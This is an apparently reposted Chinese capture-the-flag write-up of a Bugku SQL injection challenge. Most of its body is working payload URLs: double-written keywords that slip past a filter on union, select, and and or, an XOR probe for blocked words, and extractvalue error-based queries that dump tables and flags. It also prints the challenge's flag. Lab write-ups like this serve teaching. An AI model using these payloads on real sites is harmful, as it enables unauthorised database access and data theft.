Bugku-CTF之多次

Day33

 

多次

 

http://123.206.87.240:9004
本题有2个flag
flag均为小写
flag格式 flag{}
 
 
 
本题要点:SQL注入绕过、双写绕过、报错注入
 
 
 
 
查看源码,发现什么也没有
观察url,看到id=1,分别修改id=2、3、4、5、7、8
 
分别看到不同的字样,这里就不一一截图了
 
 
id=1后面加单引号会报错,后面加--+注释返回正常,确定存在SQL注入
 
 
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
 
http://123.206.87.240:9004/1ndex.php?id=1'^(length('union')!=0)--+
 
 
同理测试出被过滤的字符串有(将url中的union替换):and,or,union,select
都用双写来绕过,payload如下:
爆数据表 (注意:information里面也有or)
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
 
 
 
爆字段
 
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27--+
 
 
 
爆数据
http://123.206.87.240:9004/1ndex.php?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(flag1)%20from%20flag1--+
 
 
 
 
提交flag显示错误,换个字段
 
 
爆address,得出下一关地址
http://123.206.87.240:9004/1ndex.php?id=-1' ununionion seselectlect
1,group_concat(address) from flag1--+
 
 
 
打开之后
 
当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。
 
爆字段数
http://123.206.87.240:9004/Once_More.php?id=1' order by 2--+ 正常
http://123.206.87.240:9004/Once_More.php?id=1' order by 3--+ 报错
 
 
 
 
爆库
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,database(),0x7e)))--+
 
 
 
爆表
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(table_name) from information_schema.tables
where table_schema="web1002-2"),0x7e)))--+
 
 
 
爆列
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(column_name) from information_schema.columns
where table_schema="web1002-2" and table_name="flag2"),0x7e)))--+
 
 
 
 
 
 
爆flag
http://123.206.87.240:9004/Once_More.php?id=1' and
(extractvalue(1,concat(0x7e,
(select group_concat(flag2) from flag2),0x7e)))--+
 
 
 
 
 
flag{Bugku-sql_6s-2i-4t-bug}~
 
 
 
完成!
 
ps:这是一道很优秀的注入练习题哦~
       值得的多次训练!
 
 
 

猜你喜欢

转载自www.cnblogs.com/0yst3r-2046/p/11002483.html